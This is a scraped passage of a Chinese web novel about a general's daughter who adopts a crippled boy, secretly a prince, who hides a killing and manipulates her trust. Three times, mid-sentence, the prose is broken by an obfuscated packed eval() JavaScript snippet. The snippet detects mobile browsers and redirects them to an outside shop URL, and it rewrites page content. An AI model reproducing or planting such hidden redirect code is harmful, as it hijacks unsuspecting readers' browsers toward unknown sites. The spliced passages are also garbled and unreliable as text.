宋游月一时没有说话,她能感受到少年的犹豫,以及,口是心非。 在这段沉默的时间里,他身上恼人的刺试探般一下一下轻微地扎在她身上,最终说出更恼人的话。 既然是自尊很强的人,为什么要说出这般不自重的话? 她不明白。 她收起笑,平静地说:“你不必这般轻贱自己。我领你回来,不是拿你做下人,也不会摆小姐的架子。我既认了你,你便配得上。” 她的眼睛没有温度,就若高台上俯瞰众生的菩萨,眉目慈悲地注视着他,有情似若无情。 此时菩萨开口,几分愠怒,几分认真:“人贵自重,都想往高处走。谁会放着正经子弟不当,去做个小厮?” 殷寻仰脸看,想从轻微的恼怒之外寻任何恶劣心思的影子,可什么都找不到。 这让他难得无措——他用出了他惯用的伎俩,可一切没按他所设想的方向发展。 若她当真单纯,应该什么都听不出,继续软声哄他;若她同样聪敏,听出他的以退为进和故作软弱,他便能顺理成章试探出她的性情和态度。 在他的想象里,她会用看透一切的模样面露讥讽,然后或许因为不快而让他真正做个小厮,或许施舍般再次给出承诺。 就像以往他遇到的,那些高高在上的人一样。 可她是有些气恼的,但是什么也没说。 这让他有些茫然和困惑,脸上表情空白一瞬。 “好了。” 宋游月觉得不妥,偏过头有些别扭。 毕竟他还是个孩子。和孩子置什么气?她既已决定做他的家人,就该包容他。 她告诉自己。 但她又实在没心情放下架子哄他,只好扔下一句话就起身离开:“你莫要多心了,安心住下,好好养伤。” 遮掩着脸上的不自在,步伐很快。 她走得匆忙,等殷寻反应过来时,她裙摆那抹银朱色早已消失不见,连拉她都来不及。 铺排雅致的厢房一时空荡起来,只剩他一个人。 她走了,所有的声色也消散了。 阳光照进来,爬到他脚边,乖顺地守护着。 他垂眸,神情恢复往常的波澜不惊。 * 宋游月方踏出偏院,一个侍卫跑过来,朝她报告昨日劫匪的初步讯问结果。 她便立刻收敛心神,回到院里听他报告。 劫匪的身份尚未可知,只是排除了无关紧要的几家。 要彻底查出来这一隐患,还需要更长时间的探查。 不过,让她放心的是,虽然那群劫匪的身份来路不明,但目前可以排除和少年的关系。 少年的身份也被查出来了,如他所言,的确是南巷柳家的庶子,从小备受冷落。 母亲身份低微,他出生后才被抬做妾。 一岁发育慢,尚不会开口说话,被兄姐嘲弄;五岁初读书,被嫡亲弟弟带头欺负;七岁,母亲病故,从此在府中地位更是一落千丈。 主母忌恨,亲父冷漠,饱受漠视与苛待。 若便这样也罢,左右等弱冠成家便可逃脱。可他少有异才,年纪尚小不懂避其锋芒,一次在夫子组织的考核里表现突出,压过了纨绔嫡兄的风头,被老夫人注意到。 主母自危,拿定主意,痛下杀手。 然后,她在雪地里捡到被打断双腿,濒死的他。 宋游月沉默片刻。她不知道如何形容她现在的感受。 出身武将之家,战场的风暴她自小熟稔,但贫苦的悲惨尚未窥见;而父母琴瑟和鸣,举案齐眉,她也未曾了解后宅争斗倾轧的惨烈。 他的过去有着她无法想象的悲惨,充斥着贫苦、冷漠和呵斥。 如果她没碰巧路过,把他救下,那他不出半天就会悄无声息地冻死,以雪为冢。 或许,她刚才应该多点耐心。 她正想着,一道清亮的女声高声传来:“月儿,你让我查的,姐姐都查出来了。” 宋明舒大步走进来,她身材高挑,鲜眉亮眼,顾盼神飞。头戴几枝金钗珠钏,身着鹅黄绫棉裙,脚踩鹿皮小靴,端的是国公府长女的尊贵明艳。 她急切地迎上来,握着宋游月的手仔细打量了一番,脸上透出关切:“听闻你昨晚守了一夜,今早便没叫你起来,身体可还吃得消?” 说罢试了试她手心的温度,松一口气,“手倒比平时热一些。” “姐姐,我没事。”宋游月笑了笑。“所幸那少年顺利醒过来了。” 听到“少年”两字,宋明舒微微皱眉,冷下脸,难得有些肃穆:“你昨日让我查那少年的身份,查出来了。” 映证了侍卫调查的,少年身份无误。 只是,依照宋游月的安排,她重点派人查了那杀手的身份。 毕竟,一个手无缚鸡之力的十二岁少年竟能在一个成年人手下逃脱追杀,本身就有疑点。 结果查出来令人吃惊:那追杀者竟死了,且死得干脆利落。 依照他主母的命令,追杀他的是府里的一个普通护院家丁,被要求带到城外处理掉他。 可不知道发生了什么,那人仅仅打断了他的腿,然后就把他扔到了雪地里,自己死在了陡峭的雪坡下。 因为大雪,坡下的雪积得很厚,他们挖了许久才发现尸体的踪迹。 在茫茫大雪的覆盖下,挖出的尸体身上,只剩下衣服沾染的大块酒渍和血迹,还有口袋里散落的几枚铜钱和劣质玉佩。 这些还容易理解,那家丁有喝酒的习惯,一着不慎坠入山崖也未尝不可能。 可那尸体小腿处还有许多道很深的伤口,像是利器深刺进去的——一个双腿尽断的少年,如何做得到? 这让宋游月想起少年身上的伤痕:除了断腿擦伤的累累新伤,还有许多像是专门受训形成的旧伤。 多重证据映出疑点,直白地摆在他们面前。 少年的身份,可能不简单,至少不似他表面般单纯。 宋明舒讲完所有,厢房内静默了一瞬。 她为人坦荡,说话直率:“月儿,我觉得那少年绝非表面那般单纯。就算他真的是德清大师口中与你有益的贵人,像以往你捡回府里的人一样,放在一处,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638284|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么劳作要么学手艺便罢了,何必一定要认作弟弟,日日相处呢?” “还有那虚无缥缈的佛缘,母亲父亲信,我却不信,”她摇摇头,“药方是死物,有用可以一直吃,只是人心思莫测,不能随意放在身边。” 她越说越担忧:“何况若认作弟弟,他以后便是魏国公府的子弟,一言一行都代表宋家的脸面,若性情和顺还好,若后面长成个飞扬跋扈的公子,恐有隐忧。” 她说的皆是人之常情,宋游月不是没考虑过。 她也曾有过动摇,可事已至此,她已经被命运推到了这里。 那么无论如何都要留住他,且放在身边。 不论是出于那隐射命运的预知梦,还是出于她的私心,她都必须这样做,无论信与不信,无论那少年好坏与否。 亲缘是她能想到的,最紧密和牢固的联系方式。 于是她说:“阿姐,我必须留下他。我有不得不这么做的理由,只是还不能说。” 她看着姐姐,露出让她心软的、熟悉的祈求和撒娇:“我保证,只要时机成熟,我一定会跟你们说。” “只要那少年成为魏国公府的表亲,我会好好扶植他,让他成为父亲的助力。”她郑重地承诺,拉拉宋明舒的手,“就像姐姐带大我一样,好不好?” 宋明舒张张嘴,最终什么也没说,有些无奈。 “好。”她点点头,“姐姐信你。” 她了解宋游月,也相信她,所以即便不认可,也会尊重她的选择。 既然妹妹想这么做,那便随她,平日她多盯着就好。 宋游月松一口气,笑起来,拉住她的手摇了摇:“姐姐最好了。” 从小到大,管她最多的,其实是姐姐。只要阿姐同意了,那母亲父亲那里,也会好说话许多。 宋明舒捏捏她的脸:“好了,惯会撒娇。” “母亲那里,我会帮你。”她早就看出宋游月的小心思,“只是防人之心不可无,那少年身上的疑点,必须查个水落石出。” 她眯起眼,低声与她商量。 “你便如此……” * 小睡过后,宋游月决定用姐姐的法子去试探一二。 上午她走时,两人相处并不很愉快。而如今她来,还不知道事情会发展成什么样子。 她踏进一道垂花门,正撞见殷寻喝药。 北风瑟瑟,身边竹影摇动,枝叶扶疏。竹叶上的新雪簌簌落下来,被吹到结着薄冰的湖面上。 少年坐在亭里,望着湖面。 他脊背挺直,身形单薄,似茫茫一片白中的一粒砂,有种说不出的孤寂。 旁边人凑近他,不知说了什么,他接过药碗,一饮而尽。 宋游月走近,恰好看到他眉头也没皱,动作利落地搁下药碗。 看到她来,有些意外,旋即冲她一笑,乖顺的样子,开口喊:“阿姐。” 她心里揣着事,只随口关怀了他两句,接着状似无意地提起:“你身上那些操练时留下的旧伤,可无大碍?” 殷寻脸上的笑僵了一瞬,有了预感,心悬了起来。 5. 杀意 果然,她下一句便说:“追杀你的李甲,已经死了。你知道么?” 听到“李甲”这个名字,他的心砰砰跳起来,只是表面仍不动声色。 她语气平和,因着上午的事,甚至显得温和。只是目光凌厉地压下来:“他脚踝有多处锐器划出的伤口......你有看到杀他的人么?” 听到这句话时,他提起的心反而放下来,稳住心神。 他赌对了。 果然,他们没查出来那李甲真正的死因。 他心里保持着极致的冷静,面上却慌张地开口:“不.....阿姐,我不知道他死了。” 然后眨眨眼,眼皮微抬,对上她有压迫感的目光,须臾间红了眼眶:“姐姐是在怀疑我?” 端的是全然的委屈和无辜。 在他猜到柔贵妃要对他下手的那刻,心里就开始飞速地想对策。 没有强健的身体,没有心腹,没有资源,遑论他如今只是个小吏家的庶子,如何应对她派来的杀手? 当他发现来杀他的只是个小小家丁,且是他十分熟悉性情的家丁时,松了一口气。 柔贵妃,还是像以往那般,为人精明,却不懂驭人之术。 这给了他一线生机。但也只是多了几分把握。 万幸,这场殊死的赌博,他活下来了。 在宋游月看来,少年愣了一瞬,便须臾掉下泪来,几乎以哭诉的方式说:“可我真的不知道......” 她没想到他反应这么大,还以为他会装出懂事的样子。 殷寻抽泣着,继续说:“当时、当时他把我带到城外,突然想喝酒,就去买了酒一块绑到山上。” 也没错,只是他把买的迷药偷偷下进了酒里。 并且,亲眼看他喝了下去。 好像回忆到什么恐怖的场景,他颤抖起来:“他喝了酒,把我拖到地上,然后、然后拿棍子打断了我的腿......好疼......好多血......” 他打断了他的腿,好疼。所以他要了他的命,也很公平吧? 何况,那李甲回去,本就活不下来。 “他还要拿我身上的钱......本来我没反抗的,可是他还要摸走我母亲给我的玉佩......”他温热的眼泪砸到她手上,“我不知道抓到了什么,就划了上去。” 那家丁本性贪婪,身上藏的钱果然用上了。 至于那廉价的玉佩,是他随手从匣子里拿的罢了。 “然后.....然后他就生气了,走路醉醺醺的,只划到了我的脸。我拼命往外爬,想摆脱他,他也没追上来。” “我不知道过了多久,天好冷,我好疼,就昏过去了。” 李甲昏倒在了地上。他拼尽全力,把酒洒在他身上后,把他推下了雪坡。 将本属于他的命运悉数奉还。 殷寻掉着眼泪,心里却满是漠然。 李甲本就不是个好东西,他原本想着,即便活不下去,也要一命换一命。 他在这世间孑然一身,无牵无挂,临死唯一遗憾的,只有没为母亲复仇罢了。 可他赌赢了,终究还是活了下来。 并且,即将凭此在这魏国公府立足。 宋游月在他哭的瞬间就慌了神,坐在他身边,手足无措,想抱却不敢抱他。 “好了,好了,不去想了,嗯?” 她顺着少年的胸口安抚,那里凸起的骨头硌在她手心,让她又心疼又愧疚。 “别哭。”她用手指去擦他的眼泪。 听完他的话,宋游月心里就信了大半。 酒渍、以及那家丁身上不该出现的铜钱和玉佩,都对上了。 那家丁死在山坡下,恐怕是因为醉酒晕眩,才失足坠崖。 少年继续抽噎着说:“我身上的旧伤,也没有什么特别的原因。” 他主动坦白:“我七岁那年,府里来了个退伍的老兵丁看护庭院,他看我总是被欺负,心下不忍,偷偷教过我强身健体和包扎的土法子。那些旧伤,有的是主母鞭打杖责的,有的是我偷学的时候摔碰的。” 那时,他刚来到柳家,本以为是新的开始,结果是更深的地狱。 他顶替了这人的身份,同时也接手了他倍受欺凌的命运。 他垂下眼:“多亏了他,我才活了下来。不至于被人欺负死。” “但是,或许是我的确命带孤煞.....他后来也死了。” 殷寻的声音沉下来。 原本是为了洗清嫌疑特意讲的话,却让他真切地想起了程叔,想起了那段时光。 他止住了眼泪,语气淡淡,将亲身苦痛轻描淡写地略过去。 亭子里一时寂静下来,只剩冬风呼啸的哨音。 宋游月沉默一会,仿佛在陪着他默哀。 她拿手帕轻轻擦干净他脸上的泪痕,小心翼翼地说:“是姐姐错了,不该怀疑你。” 她软下声音,半是哄人半是乞求:“过去就过去了,不去想了,好不好?” 经此一事,她才真正信了少年,不再有怀疑。 宋游月牵起他的手。一双凉凉的掌心相碰,须臾间,他的手指被握住。 殷寻眼尾仍残留着湿润的潮气,却瞬间僵住,身体不自觉绷紧,好容易才压抑住下意识甩开她的本能。 她的手柔软而无害,盖到他手上,却让他如芒刺背,拉响远离的警鸣。 又被理智这根紧绷的弦牢牢钉在原地,无法动弹。 短暂的不适过去,他开始感到新奇:他已经许久没和人肢体接触。没有冲突和暴力,而是这般亲密、柔软地,被握住。 就连嗅觉被她身上的暖香裹挟。 然而下一秒,她便松开了手。 “先回去,冷了吧?” 殷寻应了一声,垂下眸,说不清心里什么感觉。 宋游月推着他的轮椅,穿过覆着雪的地面,穿过垂花门、游廊。 殷寻被她推着,目光落在前面一点的空中,心里却忍不住去想她刚刚凑过来时嗅到的香气。 仅仅比他高半个头的少女,明明同样身形单薄,指尖冰凉,推着他走着,却奇异地让他感到安心。 轮椅碾过木地板发出吱呀一声,她把他推到了屋内。 经过刚才的事情,宋游月决定多陪一会少年。 她先是蹲下来看他,眼里盛满浓浓的歉意,伸手揉揉他的脑袋:“抱歉,方才是姐姐不对,不该怀疑你。” 她说得坦荡,又很真诚,带着让他感到陌生的愧疚和心疼。 “明日,我便布告全府你是我母家的远方表亲,一朝蒙难,投奔姨母。”她郑重承诺,“日后你便是我魏国公府的表少爷,不会再见到柳家人,即便再见也装作陌生人即可。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638285|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我会安排好一切,你安心住下。”她轻叹,又想起什么。 “以后你想学什么,我都教你。”她是在说他偷学这件事,“我不会的,会请师傅来教你。” 是她误会了他,当然更应该安排好一切。 她明白他的不安。 下一刻,她便看到少年又红了眼睛。 眼泪挂在长睫上,摇摇欲坠。 他有些语无伦次地说:“阿姐.....以后我会报答你的恩情的。” 殷寻面上感动,心里也第一次真正放下心来——最后的疑点被澄清,以后他总算可以松一口气。 魏国公府可靠与否还有待商榷,但至少让他保住了命。 安心地做一个表少爷,然后,利用所有他可获得的东西,去复仇。 宋游月眉眼一弯:“别想这样远,我不需要你做什么。” 她捏捏他瘦削的脸:“先养好自己的身体,就最让我高兴了。” * 用过晚膳,宋游月再次来到这方偏院,还带来了许多身为殷寻量身定做的衣服,玩起了装扮游戏。 她总算是明白幼时阿姐为何总喜欢给她编头发了,这会轮到她,也懂得了养成的乐趣。 少年穿着银红撒花长衫,脚踩青缎粉底小朝靴,红着脸坐在椅上,对上她欣赏的目光。 她支起下巴,笑吟吟地打量他,一改在外清冷的模样。 少年墨色的眸映在灯下,眼尾的泪痣像是点睛一笔,平添一段风流。身形单薄,而容色瑰丽,比衣服更光鲜几分。 “这身不错,颜色很衬你。” “晚上好好吃饭了吗?多长点肉。” “不许光应下来,我会监督你。” 她像是打开了话匣子,七嘴八舌地说下来,弄得殷寻不知道从哪句回起。 他的世界第一次这么喧嚣,都是她的声音。 看着少年语塞的样子,宋游月才感受到他年纪还很小,是个年轻气盛的小鬼。 这样才对嘛,他未来的路还很长,何必总是苦大仇深的样子。 “这身衣服喜欢吗?穿起来舒不舒服?” 她表情认真起来,抚了抚他袖口。 殷寻抿抿唇说:“舒服,这件最舒服。” 身上穿着的这件他认识,宫里的皇后在宴席上穿过。是缂金的面料,质地厚实而图案精致,御寒有奇效。 由江南进贡来的,一共就那么几匹,相当华贵。 看来这魏国公府,比他想的还要豪奢。 “好,那便挑面料相近的,多给你做几身。” 宋游月点头,心里盘算着。 除了衣服,还有头饰、配饰、屋里的陈设......都要配齐才好。 她抬脸打量了一下所在的厢房——幸而当时建的宽,是偏院里最大的一所,不算委屈了他。 此时摆设寥寥可数,仍显朴素,有些空旷。 她便问:“你喜欢怎样的风格?” 殷寻:“都可以。” “都可以,我就按我的心意装扮了。” 她说着,俯身过去,帮他摘下头上戴的玉冠。 再次看到他后颈隐入衣襟处的一小块红色胎记,妖冶若翩飞的蝴蝶。 她随口问:“你这有个蝴蝶胎记?还挺好看。” 眼前的少年顿住。 杀意顿起。 6. 算计 殷寻从未有过如此浓重的杀意,仿佛凝成一把实质的剑,直直朝宋游月刺去。 她只觉得心口凉飕飕的,一时口干舌燥,如芒刺背,手一松,玉冠便在手里掉下来。 金玉碰在地上的声音很清亮,惊醒了他。不过呼吸之间,他便很好地克制了自己。 宋游月弯下身子,把玉冠捡起来。 此刻殷寻已收敛了神色,若无其事地“嗯”了一声。 他始终没对上她的视线,低垂着眉眼解释着:“出生时本没有,随着年岁渐长才出现的.....平日隐在衣服下面,也看不见。” 语气轻描淡写,把这件事掩饰过去。 这是他与生俱有的印记,是宫里人人皆知的六皇子的独特胎记,也是他必须守住的最大秘密。 他不能让皇宫的人知道他在这里,至少现在不能,他还没有能力应对他们。 尤其是柔贵妃的人.....他总有预感,等她发现他没死,一定不会善罢甘休。 他必须藏好他的真实身份。 在柳家时,他一直掩饰得很好,却没想到初来便被宋游月发现了。 正是十分清楚胎记的重要,在听到她问出口的那一刻,他下意识紧绷起来,直觉想杀了她。 可这终归不可能。 他便装出一副惶恐又可怜的样子道:“自从这胎记出现后,父亲在主母影响下,便认为我是妖孽转世,从此更漠然待我。” 少年的长睫微颤,如蝴蝶扑闪。 “我不喜这胎记,甚至还想过剜去这里。”他语气低落,“阿姐不要告诉别人,好不好?” 宋游月动作一顿,的确想起来那日为他上药时,那胎记上的疤痕。 她将玉冠搁在桌上,伸手整理他的衣领,把蝴蝶胎记遮盖住:“你不喜欢,日后我便不提了。” “但胎记无错。你父亲讨厌你不过寻个由头,理所应当地视你如无物罢了,你不要再为此伤心,更不要做傻事。” 她说得很认真。担心他因此自卑和介怀,在开导他。 殷寻听着她真心实意的话语,心里有了波澜。 自幼寄人篱下惯了,他对人的情绪语气再敏感不过。其中最擅长分辨的,其实是善意。 因为每一点善意,都可能让他吃到一顿饱饭,甚至,活下去。 自他降生,便鲜少受到善意和关爱,母妃去世后更所剩无几。 然而和她接触的每一次,都能感到陌生的坦荡和真诚,以及此时此刻,她在放下戒心后,纯然的信任。 那样赤诚。 他一时间默默无语。 宋游月看到他沉郁的神色,以为又让他不开心了,忙开口转移话题:“过几日便是冬至了,到时我们一起过,可好?” “好。”他点点头,“姐姐的安排,我都接受。” “那到时你便陪我包馄饨。”她笑眼弯弯。 殷寻听她这样讲,便知道她没纠结那蝴蝶胎记,这件事就这样过去了。 明明漏洞百出。 他成功骗到了她,再一次化解了临危,他应该欣喜。 可是。 看着她若无其事的脸,他心中烦躁,胸口仿佛在沸腾着什么——天真到愚蠢的娇小姐,怎么能如此轻而易举地交付信任给他人,交付给他这样来路不明又虚伪欺诈的人。 他不是好人,他很危险。 他没再说话,只是点点头,目送她离开。 在她走后,目光下移,落到他盖着薄毯的双腿上。 即使经过治疗,那里还在隐隐作痛。 这双腿时时刻刻提醒着他——即便成功在魏国公府里立足,也不意味着一劳永逸。 他想要复仇,就不能仅仅躲着柔贵妃的刺探,还要发展势力。 第一个要做的,就是养好他的腿。 * 此时此刻,长春宫。 柔贵妃慵懒地躺在贵妃椅上。她伸着纤纤玉指,任身旁人涂着花瓣加白矾碾成的花泥,然后用长叶裹起来。 这花是凤仙花的新品种——醉胭脂,色彩娇艳透亮,饶是这般天寒地冻的日子,只要贵妃开尊口想要,内务府的人也要费尽心思地在温室养出来。 跟初入宫的新人比起来,她的年纪已经不算年轻了,但自有一段成熟风韵,娇艳欲滴,颇得圣宠。 此刻她虽闭目养神,却神情恹恹。 恰蹲坐着的侍女心中紧张,动作粗鲁了些,她不悦地睁开眼,眉宇透出几分戾气,还未开口斥骂,身边嬷嬷便会意,将人拉了下去。 那侍女便被定了生死。 她听着外面隐隐传来的惨叫声,心里痛快了几分。 一个嬷嬷进来报:“娘娘,都处理干净了。” 柔贵妃想起那侍女的面容,满心厌恶:“处理干净就行。那副楚楚可怜的样子,本宫每次看,都能想起当年的嘉贵人,也是这般作态,才吸引了皇上,进宫得宠还怀了皇子。那六皇子——” 她伸出手腕,欣赏着圣上刚赏下来的青玉镯,在烛光下晶莹剔透,流光溢彩,“不对,是南巷柳家的庶子,死了么?” “回娘娘的话,”那嬷嬷眼底闪过心虚,面上仍恭敬地答道,“已经派人去过了,料他那般无能瘦弱,一定逃不过。” “那就好。” 柔贵妃抬起脸,眉目间满是狠厉:“给我做干净点,不能被人查出来。” “是。” * 第二日,全府上下便都知晓了新来了一位表少爷。 同时私底下传开的,还有这位表少爷双腿残疾的消息。 魏国公府人丁单薄,血脉亲近的仅他们这一脉,因此人情往来并不多,仆妇杂役也少,管理起来并不很困难。 只是魏国公夫人杨氏性情温柔,日常多恩赏少惩戒,御下不严,即便有宋明舒作为长女偶尔敲打下人,还是较为松散。 新主子身有残疾,再结合昨日二小姐方把一少年带回府的消息,使一些有心人议论纷纷,浮想联翩。 而今日宋游月不知有什么事要做,一整日都未到偏院看他。 便还有些风言风语,再次传到殷寻耳里。 当夜,殷寻躺在榻上,久久未入眠。 倒不是因为这些莫须有的议论。毕竟活到现在,他最明白的就是漠视他人的言语和眼光,何况他本就动机不善,不算冤枉。 让他放不下的是他的腿。 他闭上眼,慢慢思量。 他能感受到这双腿伤得越来越重,前些日子还在钻心的痛,今日即便用针刺进去,也快没有知觉了。 旁人不关心他的腿,他自己却不能忘。 他半攥起拳,慢慢慢慢将被褥一点点上拉,直到覆盖他的口鼻。 一秒,两秒。 空气变得稀薄,眼前被黑暗笼罩,世界只剩下锦被上熏的淡淡芳香,是她喜欢的。 她兴冲冲跑过来,指挥着人抬进来的模样情不自禁浮到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638286|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海。 可他不能确保魏国公府将所有资源都用在他身上。谁知道她把他带回府不是一时兴起?说不准几天就把他抛到脑后。 今天她就一整日都没来看他。 但他若落下残疾,便真什么也做不了了。 必须抓紧时间,不惜一切代价,治好他的腿。 他想起下人们的议论,冷冷地想。 这是个再次占据她所有心神、提醒她给他治病的好机会。 放大他们心中的恶念,然后,为他所用。 殷寻筹谋着,心里逐渐有了成算。 ...... 几日后。 宋游月最近忙得团团转,为了治疗少年的腿四处求医问药,有些疲惫。 自幼体弱,她也算和各地名医熟识,可竟没有一个能保证把他的腿治好的。 她心里逐渐笼上阴翳:难道他的腿当真治不好了?难道这就是他注定的命运? 可她不信命。 就在她快要绝望的时候,事情终究有了转机。 她同话月母亲翻了几宿古书典籍,终于发现了一种可以续筋接骨的神妙药丸。 当时,她仍心有疑虑,便问她母亲这方子是否可靠。 上着短襦,下穿长裙,穿着简单朴素的妇人言辞笃定:“这是由医圣孙景观所著,他在此方面颇有成果,一定没错。况且,我今日刚去瞧过,如今那少年双腿病情愈发恶化,用种种珍贵草药温养着,已经是不错了。” 她神情严肃:“如若这个不行,世间也没有其他法子能治好他了。” 然而最棘手的事情还在后面。 那药丸要想制成,需要最重要的两味药,鹤顶芝和素心兰。鹤顶芝珍贵而稀少,每年西域朝贡不过几株;另一味素心兰,则对生长的环境条件要求及其苛刻,恐怕只有当世医仙项宁手里有。 第一味虽然珍贵,但她去求求父亲总可以得到,但第二味则有市无价了。 江夏项氏世代钻研医道,有一座岐黄山,专门用来培育各种珍稀草药,而项宁是其中最年轻的一代传人。 宋游月自幼体弱,为了治病,当然也有所耳闻,而且接触过。 项宁医术高明,却不似寻常医者有仁善胸怀,反而个性浪荡,行事不羁,心高气傲起来连皇家的面子都不给,想在他手里拿东西,少不得费一番功夫。 何况他性好自由,行踪诡秘,捉摸不定。 宋游月考虑着,决定先派人过去接洽,寻一寻那项宁,看能不能求到草药。 若不能,再想想办法。 又是傍晚,她再一次匆匆从书房回到院里。 她走入往常走的小径,却不经意听到几个婆子的议论声。 “要我说,什么表少爷,就是个吃白食的残废,偏生得了二小姐青眼,真是好命。” 她顿时脚步一停,表情冷下来。旁边的谈星想过去呵止,被她抬手拦住。 又一个声音说:“听说前几日小姐方捡回来个少年,也是残疾。那新主子一无所有又身残体弱,谁知道是不是真的表少爷,说不准是二小姐年纪小,又心软,就被赖上了。” 听完这句,她神色冰冷,再也听不下去。 刚迈出一步,就看到一旁嶙峋的假山后面,殷寻正坐在轮椅上,神情平静。 他隐在假山后面,不知道坐了多久,又听了多久。身边一个人也没有,冰天雪地里,有种说不出的寂寥。 她心里一紧。 7. 眼泪 宋游月忙疾走几步过去:“怎么一个人在这里?” 少年讶异地抬头,原本平静无波的脸上怔然一瞬,似乎没料到她会出现在这里。 “身边的小厮呢?冷不冷?” 她走进,看他脸色苍白,鼻尖发红,以为是冻到了,忙把手中温热的铜炉塞到他手里。 她语气有些焦急,声音大了些,也惊到了假山前的众人。 喧嚷热烈的讨论瞬间寂静下来。 下一刻,她就接过他的轮椅,推着他款款现身在众人面前。 然后松开握着轮椅的手,往前迈一步,站到他前面。 正是夕阳西下的时候,壮丽的落日即将隐入地平线,照着最后的绚烂余晖。 粉橘色的天光照到她身上,殷寻看不清她的表情,只能听见她的声音:“你们在说什么?” 几个婆子小厮在真正看到她的刹那变了脸,神色慌张地跪下:“小、小姐,我们......” 他被护在她身后,坐在那里,面无表情地看着眼前的几人上演生动的变脸戏码。 “谁允许你们编排和臆度表少爷的?” 素日亲切柔和的面容冷下来,表情凌厉,白皙的脸上因为气愤,甚至泛起薄红:“妄议主子,不事生产......你们可还有什么话要说?” “没、没有。”众人跪着,垂下头噤声。 他们知道,若此刻是夫人在,还能解释一二,但换成二小姐,则是与大小姐如出一辙的严正冷厉。 事已至此,若是辩解,恐怕会被罚的更厉害。 她下巴微抬,表情漠然地下命令,严词厉色: “谈星,查清楚这些人都分别说了什么.....然后把那些背主忘恩的,一概杖责二十,逐出府去。” 谈星早就气愤不已,恨不得撕了他们的嘴,忙点头称是。 殷寻似心有所感,才发现她握着的手有点抖。 宋游月的手重新搭上他的轮椅,推他离开。 一路上很寂静,只有轮椅碾在地上的沙沙声。 等把他推到屋里,她才开口:“他们说的话,你都听到了,对不对?” 她声音有些哑,似是很疲惫,好声好气同他解释:“那都是府里的老人,我父亲旧部的亲眷。素日我看在母亲份上睁一只眼闭一只眼也就过去了,万万没想到他们敢胆大包天到这个地步。” “他们的话,你莫要往心里去。”她继续说,“你如何是你自己的事情,无论如何都不是他人欺凌你的理由。” “阿姐,我都明白的。” 少年点点头,垂着眸,说不出的乖巧:“何况他们也没说错......我本就出身低微,这残疾还不知道何时能好。” 宋游月看他这副模样,心中一痛,一时间几天积攒的无力感都涌上来。 “府里的这些风言风语,我会整治好。是姐姐不好,让你受委屈了。”她想勾起唇笑笑,却没忍住红了眼眶,只能垂下头掩饰,“这几日我忙着去给你寻医,想早日治好你的腿,没想到忽略了你。” 尾音带着颤。 她最近太累了,要担忧梦里的未来,也要担忧他的身体,偏偏又出了这档子事。 府里的仆妇们做事轻浮她早就知晓,只是没闹出事情过,她万万没想到她们能如此放肆地编排主子来。 这不仅打她的脸,更关于魏国公府的体面。 而小寻性情敏感,经过这件事,恐怕对魏国公府更少了几分信任。 殷寻正思量着如何不经意地提到他的腿,听到她最后一句话,如遭雷劈。 藏在袖子下的手攥起来。 他误会她了。 原来这几日的距离,不是疏远,而是她正为了自己忙碌。 他却以为,是她忘了他,丢弃了他。 他抬眸,想说些什么,却一瞬捕捉到她微红的鼻尖和眼睫的潮气。 顿时有些慌张,心神不宁起来。 脑子里一片空白。 她......哭了。 听到她脚步声的那刻,他就知道计谋已成功了一半。接着,他如愿听到在小厮的引导下众人放肆的谈论。 之后的一切都顺理成章,他再次成功扮演了一个可怜卑微的少年,众人也如他所料被惩治。 可是——他如坐针毡,脑子里她的话在一遍遍回放、循环,包括话音中的哽咽,让他急切地想抓住些什么,打破此时让他不安的困局。 他从没想过惹她伤心。 他的手挪过去,急切地想碰碰她,又犹豫着悬在半空,不敢真的触碰。 宋游月转眼就收拾好了低落心情,抬眼看到他的举动,只以为他在不安,没多想。 她吸了吸鼻子,给他倒了杯水: “姐姐没事,嗯?你先喝口水。” 殷寻张口,素日讨巧的示弱的话如今一句也说不出来,只好讷讷闭嘴。伸手接过,抬手间衣袖下滑,无意间漏出一点红肿。 在察觉到她的目光后,忙拢起来。 然而已经晚了,宋游月忙睁大眼,扣住他的手,小心地掀起他衣袖查看。 大片的红疹浮在白皙的皮肤上,道道挠出的赤痕肿起来,触目惊心。 “这是怎么回事?” 宋游月不可思议。 明明她记得,前日她过来看,那些青紫红肿已经消了下去。 不过几日她没过来亲自给他上药,就成了这个样子? “是那些恶仆干的?”她又急又气,眨眨眼,泪滴霎时掉下来,砸到他身上,“疼不疼?” 殷寻一惊,忙说:"不是,也不疼。" 这本是他计划中的最后一环,目的是进一步获取她的同情与关注,但临时决定抛掷不用了,可没想到还是被她发现了。 他想挣脱她的手,把那些痕迹遮起来,但又被她扣住。 